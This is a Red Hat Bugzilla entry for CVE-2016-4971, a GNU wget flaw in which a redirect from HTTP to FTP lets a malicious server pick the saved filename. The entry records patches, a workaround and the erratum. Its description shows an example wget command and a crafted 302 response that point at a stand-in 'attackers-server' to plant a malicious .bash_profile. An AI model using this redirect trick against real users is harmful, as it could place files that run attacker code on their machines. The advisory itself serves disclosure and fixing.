Bug 1343666 (CVE-2016-4971)

Summary: CVE-2016-4971 wget: Lack of filename checking allows arbitrary file upload via FTP redirect
Product: [Other] Security Response Reporter: Adam Mariš <amaris>
Component: vulnerabilityAssignee: Red Hat Product Security <security-response-team>
Status: CLOSED ERRATA QA Contact:
Severity: medium Docs Contact:
Priority: medium    
Version: unspecifiedCC: gscrivan, sardella, security-response-team, slawomir, thozza
Target Milestone: ---Keywords: Security
Target Release: ---   
Hardware: All   
OS: Linux   
Fixed In Version: Doc Type: If docs needed, set a value
Doc Text:
It was found that wget used a file name provided by the server for the downloaded file when following a HTTP redirect to a FTP server resource. This could cause wget to create a file with a different name than expected, possibly allowing the server to execute arbitrary code on the client.
Story Points: ---
Clone Of: Environment:
Last Closed: 2019-06-08 02:54:42 UTC Type: ---
Regression: --- Mount Type: ---
Documentation: --- CRM:
Verified Versions: Category: ---
oVirt Team: --- RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: --- Target Upstream Version:
Bug Depends On: 1345778    
Bug Blocks: 1323912, 1343668    
Description Flags
Proposed upstream patch none

Description Adam Mariš 2016-06-07 15:55:19 UTC
GNU Wget (including the latest version) when supplied with a malicious website link can be tricked into saving an arbitrary remote file supplied by an attacker, with arbitrary contents and filename under the current directory. This can lead to potential code execution by creating system scripts (such as .bash_profile and others) within home directory as well as other unauthorized actions (such as request sniffing by proxy modification, or arbitrary system file retrieval) by uploading .wgetrc configuration file.

Because of lack of sufficient controls in wget, when user downloads a file with wget, such as:

wget http://attackers-server/safe_file.txt

An attacker who controls the server could make wget create an arbitrary file with arbitrary contents and filename by issuing a crafted HTTP 30X Redirect containing ftp server reference in response to the victim's wget request. 

For example, if the attacker's server replies with the following response:

HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Location: ftp://attackers-server/.bash_profile
Content-Length: 262
Server: Apache

wget will automatically follow the redirect and will download a malicious .bash_profile file from a malicious FTP server. It will fail to rename the file to the originally requested filename of 'safe_file.txt' as it would normally do, in case of a redirect to another HTTP resource with a different name.

Because of this vulnerability, an attacker is able to upload an arbitrary file with an arbitrary filename to the victim's current directory.

Comment 1 Adam Mariš 2016-06-07 15:55:24 UTC

Name: GNU wget project
Upstream: Dawid Golunski

Comment 2 Adam Mariš 2016-06-07 15:56:13 UTC
Created attachment 1165694 [details]
Proposed upstream patch

Comment 4 Giuseppe Scrivano 2016-06-09 16:37:54 UTC
I've just released wget 1.18 with the fix:


I am going to publicly announce the new version in few hours

Comment 6 Dhiru Kholia 2016-06-14 08:09:42 UTC
Public via https://lists.gnu.org/archive/html/info-gnu/2016-06/msg00004.html

Comment 7 Adam Mariš 2016-06-23 10:15:19 UTC
CVE patch made a regression, this one fixes it:


Comment 8 Dhiru Kholia 2016-07-08 09:31:10 UTC

Use wget with "-O" option to explicitly specify the output filename.

Comment 10 Andrej Nemec 2016-07-11 07:21:18 UTC


Comment 11 errata-xmlrpc 2016-11-03 20:18:24 UTC
This issue has been addressed in the following products:

  Red Hat Enterprise Linux 7

Via RHSA-2016:2587 https://rhn.redhat.com/errata/RHSA-2016-2587.html